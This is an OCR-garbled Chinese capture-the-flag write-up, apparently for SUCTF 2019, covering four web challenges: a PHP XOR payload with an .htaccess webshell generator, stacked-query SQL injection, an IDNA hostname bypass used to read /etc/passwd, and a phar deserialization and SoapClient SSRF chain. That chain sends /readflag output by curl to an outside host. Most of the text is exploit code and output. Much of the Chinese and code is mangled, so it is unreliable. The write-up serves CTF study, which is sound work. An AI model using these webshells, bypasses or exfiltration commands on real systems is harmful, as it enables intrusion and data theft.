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2.web2-easyphp
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['61', '62', '63', '64', '65', '66', '67', '68', '69', '6a', '6b', '6c', '6d', '6e', '6f', '70', '71', '72',
'73', '74', '75",

'76', '77', '78', '79', '7a‘', '41', '42', '43', '44', '45', '46', '47', '48', '49', '4a', '4b', '4c', '4d’,
'4e', '4f', '50",

‘51', '52', '53', '54', '55', '56', '57', '58', '59', '5a']
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e c @ C} "% dfY%c7%c5%d4H{%80}();&%80=phpinfo ~ =+ & 1‘.‘r| N 0 @
{0000 0000 {9)();
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phpinfo

payload A :

${%80%80%80%80"%df%c7%c5%d4}{%80} () ;&%80=phpinfo

fuzz5? U I A W0 T B :

import string
ee= string.printable
a= map(lambda x:x.encode("hex"),list(ee))
—=[1
G=[]
E=[]
T=[]
print list(ee)
for i in range(256):
for j in range(256):
if (chr(i) not in list(ee)) & (chr(j) not in list(ee)):
tem = i*j
if chr(tem)=="_"
temp=[]
temp.append(str(hex(i)[2:])+" "+str(hex(j))[2:])
_.append(temp)
if chr(tem)=="G":
temp=[]
temp.append(str(hex(i)[2:]) + "~" + str(hex(j))[2:])
G.append(temp)
if chr(tem)=="E":
temp=[]
temp.append(str(hex(i)[2:]) + "~" + str(hex(j))[2:])
E.append(temp)
if chr(tem)=="T":
temp=[]
temp.append(str(hex(i)[2:]) + "*" + str(hex(j))[2:])
T.append(temp)
print
print
print
print
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function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER[ 'REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(lempty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("~_~");
if(mb_strpos(file get contents($tmp_name), '<?')!==False) die("~_"");
if(lexif_imagetype($tmp_name)) die("~_~");
$path= $userdir."/".$name;
@move_uploaded file($tmp_name, $path);
print_r($path);

F_EME-ANEEARMEEL, pheidsE,
{8 & 7] LA _F 4% htaccess, Bl 1t 7] LA

#!/usr/bin/python3
# Description : create and bypass file upload filter with .htaccess
# Author : Thibaud Robin

# Will prove the file is a legit xbitmap file and the size is 1337x1337
#SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
phpfile = open(filename, ‘'wb')
phpfile.write(SIZE_HEADER)
phpfile.write(script.encode('utf-16be"))

phpfile.close()

def generate_htacess():
htaccess = open('.htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .ppp\n")
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()

generate_htacess()

generate_php_file("webshell.ppp", "<?php eval($_GET['cmd']); die(); ?>")

Z3shellbl )5, XIEMEH =FHE:
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ix B 4 A\ disable_functionf)id 3 A, AT BL&EE



chdir('xxx'),ini set('open_basedir',"'..");chdir('..");chdir("..");chdir("'..");chdir('..");ini_set('open_base
ir','/");var_dump(scandir('/"));

Kt TbypassFl H%, G BB — kit 17 st flagBp vr
2 B geid disable_dunctionki#47 Seitopenbase_dir,ix B H &\ ¥ id R 4

3. T A A2 8 i Bt php-fomif unixE 8 7k 3k 17 Seid openbase_dirfl4tid disable_function, & A php-formid@ & &t
FMIBITIE, fast-cgiflunixBEFHENIEIT, FrCAX B EEHpM 4, % — TFphp_valuel{E B AT

if _ name ==

parser argparse.ArgumentParser(description=

)

parser.add_argument( , help=

parser.add_argument( , help=
)

parser.add_argument( , help=

RER XN BN BCAUNIXE R F I A
php7.2-fom.sockERIATE, unix:///run/php/php7.2-fpm.sock

{82 O0ctfr i i Bt 78 HoAth B 3%,  @/var/run/php/ T,

"PHP_VALUE': 'auto_prepend_file = php://input'+chr(0x0A)+'open_basedir = /',

3.easy_sql
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BEEB T, WLAHRESANCTF, EHR

EZPRH T payload K, HEEESEIEANEERSE, FHomBZ2EIE T, EHEIRARZT UEEBRNFZEE
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X B 2T load_file,load_file(/flag')k2ik, HRMBEKKMN, EHESZATUEREFEN, HLElagidsE
T, preparefRiil TsqiBEA MK E, HIEE

ython27\python. exe E:/pyproject/etf/suctf/sqli. py

query=ascii(mid(Flag,1,1))=1 <a> Give me your flag, | will tell you if the flag is right. </a>
<form action="" method="post">

<input type="text" name="query"=

<input type="submit"=

<fformz=

</body>

</html=

Nonono.

X EIBFlag7 A7 & EEHETIEIR T, SRMAR MM, X T %



query=1;set $x=0x73656cB5637 420222066726 d20466c6167;; <a> Give me your flag, | will tell you if 1
<form action="" method="post">

<input type="text" name="query">

<input type="submit"=

<fform=

</body>

<fhtml=

I Too long.

payloadit & i e R BRI T, F X F 5 E AT
XEHAAEABIER T ,.index.php.swp, FEHdirsearchi%#3%], BH#ANMTEBEHR—K. .
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$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|fr
om|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";

$sq1 = "select ".$post['query’]."[[flag from Flag";
mysq1i_multi_query($MysqlLink,$sql);

HiffEAWN EERR, WTUEIRIFHESENR, BRETURMN ZEHESENRMHFAL, £—DHERHR

BN -

1;set sql_mode=pipes_as_concat;select 1

R || B B A TAT R IER, AR SBEREERquery N B Mflagi 1T & [B]

query=1;set sql_mode=pipes_as_concat;select 1 <ffarm=
</body>
</html>

Array
(
0] => 1
)
Array
(
[0] == 1flag{c
)

XERASE, FBEAEBURMmE, 1EEW U tflag. , WmRLEFNE, XEEMGIHEREEEE



#”

> select 1 aaaa”

a ;

1 row in set, 1 warning (0.00 sec)

A7 B B BT 91 UGR [E11, BT A0NIR [E10, A% Apipes_as_concatbh /G || s T &R T, TR —AHE
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4.pytohnginx
E 38 5 % — R 57 48 B blackhat20 191 H Sk 13X AN unicode 4w A5 i1 1R

Python was vulnerable

»>>> from urllib.parse import urlsplit, urlunsplit * Credit for this

»>»>» url = 'http://canada,c%.microsoft.com/some.txt' wvulnerability is sha
>>> parts = list(urlsplit(url)) with Panayiotis
»>> host = parts[1] Panayiotou

»»> host

‘canada.c¥.microsoft.com’

>>> newhost = []

»»» for h in host.split('.'):
newhost.append(h.encode('idna").decode( 'utf-8'))

»>»> parts[1]
»>»> finalurl
»»> finalUrl
‘http://canada.ca/c.microsoft.com/some. txt’

', '.join(newhost)
urlunsplit(parts)

XBZ BT fEpythonfurllib.request.urlopenfi &, X BEAFER B X G S EES N S BBE B,
BNIFF ek R R

* U+2105, %

ML LLEC/o, ORXANXHFRE BRAFER, BHEIEEEE, urlopendT FF 304t 1T B 5 e U A2 17
ERH 3

@

wot:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/shin/no
odain svs:x:3:3:s5vs:/dev:/usr/shin/noloain svnc:x:4:65534:svnc:/1

tean b X 4~app B X RFER, B H Knginxit B SCF i T B Fw



root@d782b5913fc9: fusr/local/nginx/conf# cat nginx.conf
server {
listen 80;
location [ {
try_files Suri @app;
}

location @app {

include uwsgi_params;

uwsgil_pass unix:///tmp/uwsgi.sock;
1
location fstatic {

alias fapp/fstatic;

}
# location fflag {
# alias fusrffffffflag;

# }

XEA T LS

1 HEES B — MR TR, RBATEM, deltaffiexpit &7 F unicoder 777 i F Sk 224 T DA I ) -7 755
i

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass
def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('."):
newhost.append(h.encode('idna').decode('utf-8"))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[e]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False

if _ _name__=="__main__":

get_unicode()



yproject/etf/ctf web/sqli/unicod

e E P — BT L, RJE VR
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root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:fusr/sbin/no!
fusr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/t
games:x:5:60:games:/usr/games:/fusr/sbin/nologin man:x:6:12:man:/var/cac

L N B e e [ e S R e B T s 1 S & T o RS [

localhost:9000/getUrlzurl=" X

] DA B Bh B 32 5 0 28 R 2 A R Y

2. B MR L RN—A, FHfile:/suctf.cclusr/local/nginx/conf/nginx.conf5eiEnginx i B X4, RIEAULE
Blflagh iz B 7 lusr/fffiflag, R)5 B ikflaghla], X B AREBAnginxHI B B X

R & Fletc/nginx/nginx.conf, RIFF A AiEurlopen N ZE1E K] H & #ili==

&« c o @ o N B0 ® @&

server { listen 80; location / { try_files $uri @app; } location @app { include uwsgi_params;
uwsgi pass unix://{tmp/uwsgi.sock; } location /static { alias /app/static; } # location /flag { #

alias fusr/fffffflag; # } }

3.7l Hifile:suctf.cc/etc/passwdk 5253, 354 urlparsef@ i i i 1555 76 12 B 2 hostname

1b.parse import urlsplit, urlunsplit, unquote
from urllib import parse
url="file:////suctf.cc/etc/passwd"
host = parse.urlparse(url).hostname
host

>> parts = list(urlsplit(url))

', '"[[/suctf.cc/etc/passwd’,

£
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ewhost = []
or h in host.split('."'):
newhost.append(h.encode('idna').decode('utf-8'))

arts[1] '.'.join(newhost)
inalurl urlunsplit(parts).split(' "')[@]
ost = parse.urlparse(finalUrl).hostname

inalurl
le:f/suctf.ccfetc/passwd'’
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5.uoload labs
KB T —LLERT

(3 admin.php
(3 class.php
[ config.php
(3 func.php
(Y index.php

Hrpindexphp, FRETES, JEHRE EAZRE, X EAESXHNERN<?
func.phpr, SXFEATHRAZ H A bk 3E4T 1 1)

function getMIME(){
$finfo = finfo open(FILEINFO MIME TYPE);

$this->type = finfo_file($finfo, $this->file name);
finfo_close($finfo);

F 8 F getMIME B B0 47 SCHF AR, 1X B Spr RIS ReRE 26 e iX B fEphar R P54k, FNJETHR
admin.phpPR =& T 15 1] fipHh bk

($_SERVER[ *REMOTE_ADDR" ] '127.0.0.1"){
(isset($ POST[ "admin®])){

$ip - $_POST['ip'];
$port = $ POST[ 'port'];

$clazz - $ POST[ 'clazz'];

$funcl - $ POST[ 'funcl'];

$func2 = $ POST[ 'func2'];

$func3 = $ POST[ 'func3'];

$argl = $ POST["argl'];

$arg?2 = $ POST[ ‘arg2'];

$arg2 - $ _POST['arg3'];

$admin Ad($ip, $port, $clazz, $funcl, %
func2, $func3, $argl, $arg2, $arg3);

$admin->check();




PRl hiX B 5 R4 35 T 1R £ ki SoapClient & 7514k, R4 46 451X A FileSE SUAFFE__ wakeup i £t

function _ wakeup(){
$class ReflectionClass($this->
func);

$a - $class->newInstanceArgs($this->
file name);
$a->check();

BR MR 7E IRFP B A B K id i S S SR SEBRSR B Se 4k, 3F BRI 28X R fcheck i s, X BLIRATT W] D
$this->func="SoapClient”, $this->file_name>;new SoapClient(null,payload) Kpayloadf&E NEI T, 3 H.iEF
AEERIcheck g $, MKk iEsoapid R, WABESER BEELIEW T, #idpharxfF ik fit & soapid
K, MR IX BB B % X AT T BRI -

wrvap e

'S ftp ~
zlib ~
|~ data ~

Group #2

AnyCharExceptNewLine

\\s

[~ compress —EU O EY S G YR T-R— bzip2

s glob ~
phar
00— [~ compress —LINOETE I G-I DU RIEY— z11ib @ or more times -

rar 1
- Ogg A
= expect <

Group #4

Group #3 Group #5

file

AnyCharExceptNewLine AnyCharExceptNewLine

data

[/i——

\\s

\\s

0 or more times 0 or more times

XEIFUETIRZ WL, phar://, conpress.bzip2,conpress.zlib#fid g T
BA A DA

php://filter/resource=phar://

Seseid it g, MRk pharRF5IML, BAFFMLEELC LT T, DEENRIENTEDE, Kl— P exp(dtxt
buuF&EEIK, HRFEX):



<?php

system('rm -f 222.phar;rm -f *.gif');

$phar = new Phar('333.phar');

$phar->startBuffering();

$phar->addFromString('333.txt"', "text');

$phar->setStub('<script language="php">_ HALT_COMPILER();</script>');

class File {
public $file_name =

wn o,
E)

public $func = "SoapClient";

function __construct(){
$target = "http://127.0.0.1/admin.php";
$post_string = 'admin=1&cmd=curl --referer " /readflag " "http://xss.buuoj.cn/index.php?

do=api%26id=qS1LKY"&clazz=SplStack&funcl=push&func2=push&func3=push&argl=123456&arg2=123456&arg3=". "\r\n";
$headers = [];
$this->file _name = [
null,

array('location' => $target,
'user_agent'=> str_replace('**', "\r\n", 'xxxxx""Content-Type: application/x-www-form-
urlencoded™"'.join('~""',$headers).'Content-Length: '
‘uri'=>"hello")

. (string)strlen($post_string).'Ar*"~" . $post_string),
1;

}

$object = new File;

echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();

system('mv 222.phar 222.gif');

B Sesoapl) N EEE, &V aadmin.phpht 75 Z postid 2= ) i

($_SERVER[ "REMOTE_ADDR" ] "127.0.0.1°){
(isset($_POST[ 'admin®])){

$ip - $_POST['ip'];
$port = $ POST['port'];

$clazz - $ POST['clazz'];

$funcl = $ POST[ 'funcl'];

$func2 - $ POST['func2'];

$func3 - $ POST[ 'func3'];

$argl - $ POST['argl'];

$arg2 - $ POST['arg2'];

$arg2 - $ POST['arg3'];

$admin Ad(%$ip, $port, $clazz, $funcl, $func2, $func3, $argl, $arg2, $arg3);
$admin->check();

{

echo "You r not admin!™;




function check(){

$reflect ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();

$reflectionMethod ReflectionMethod($this->clazz, $this->funcl);
$reflectionMethod->invoke($this->instance, $this->argl);

$reflectionMethod ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);

$reflectionMethod ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);

1
1

function __destruct(){
getFlag($this->ip, $this->port);

X B A AL Bladmin.php I S H0HE AT LB T ADE, XK, @ REFFREH —M R, FHild
Z LBk BT SR R S H SR IR 7, TR R R AR S R I clazZi AR I BAE A ZR MR S
AT LU — AN AT X B W] DL E # A splstack3s, #RphpiE S LK — MW RRME, RINMAFEMEERA
Hep—AN 5], Hinpushii, BEIEEAELT.

8 lincoln dot du dot j at gmail dot com

<?php
//SplStack Mode is LIFO (Last In First Out)

$q = new SplStack();

$ql] = 1;
$ql] = 2;
$ql] = 3;

$q->push(4);
$q->add(4,5);

clazz=SplStack&funcl=push&func2=push&func3=push&argl=123456&arg2=123456&arg3=

B X —ANE B AT DA T, 7E A buuoj i) & B K IR 2 B omd S 8 B0E 25

curl --referer " /readflag " "http://xss.buuoj.cn/index.php?do=api%26id=qS1LKY"

X B — AN BN &3 9 %26, B 1Ly 4T TR &IRF A S EMN S, s &id, HBIITHF WS, XELE
R B o BRSO N BT T — AN S i <?, IR A fEpharfistubr, LR AR Epharf it &



1. a stub

EYRED By W 5w xxx<7php xxx; __HALT_COMPILER();?> RECTIENREAZN R =Dl
IR EG ST 2R, Ellphary BIETEIRBIXN 4 pharSX s,

$phar->setStub("GIF89aphp _ HALT_COMPILER(); ?>"); //#&Estub

Pt UL R &% ZEARE J& TH ) — #8345 B IER BI W]

2% & AT LA F A T AR E A i <script language="php">k &¢ it
BT oRE A Bexp# TR A, X AT ik Blflag T
RTIXAN AR, BUREEL:

$m = new mysqli();

$m->init();

$m->real_connect('ip', 'BIREKS ", 'BIEEED", 'HIEE",3306);
$m->query('select 1;')//HITHIsqliEH]

2hr bR 5 T B check s $U2 o B K )

function check(){

$reflect ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();

$reflectionMethod ReflectionMethod($this->clazz, $this->funcl);
$reflectionMethod->invoke($this->instance, $this->argl);

$reflectionMethod ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);

$reflectionMethod ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);

XFELE A TEvpsHE & — AN rouge mysqlfik 55 28 Bt e 5 X & P i SO AT IR T, IAB W R destructif
B, IMTARBERTFPITEREHSPAT IR, zeddEEFH SR T wakeupgi £t

B7php
class af
public function _ wakeup(){

echo

}

public function  destruct(){

echo




triple@ubuntu:~/Desktop$ php kk.php

__destruct()triple@ubuntu:~/Desktops [J

EHE BT AAT_ wakeup()

B2php
class a{
public function _ wakeup(){

echo "__wakeup(

}

public function __destruct(){
echo ruC 3

b
1

Sa=new a();
unserialize(serialize(%a));

triple@ubuntu:~/Desktop$ php kk.php
_wakeup() destruct() destruct()triple@ubuntu:~/Desktop$s vim kk.php
triple@ubuntu:~/Desktop$

RAERFHIMLEIEHMES AT wakeup O , REHAT__destruct(), REBRFEITEREBNR, EPIT—X
__destructifi %

KFmysql &7 i Bk i 4

8, T :https://www.cnblogs.com/wfzWebSecuity/p/11373037.html
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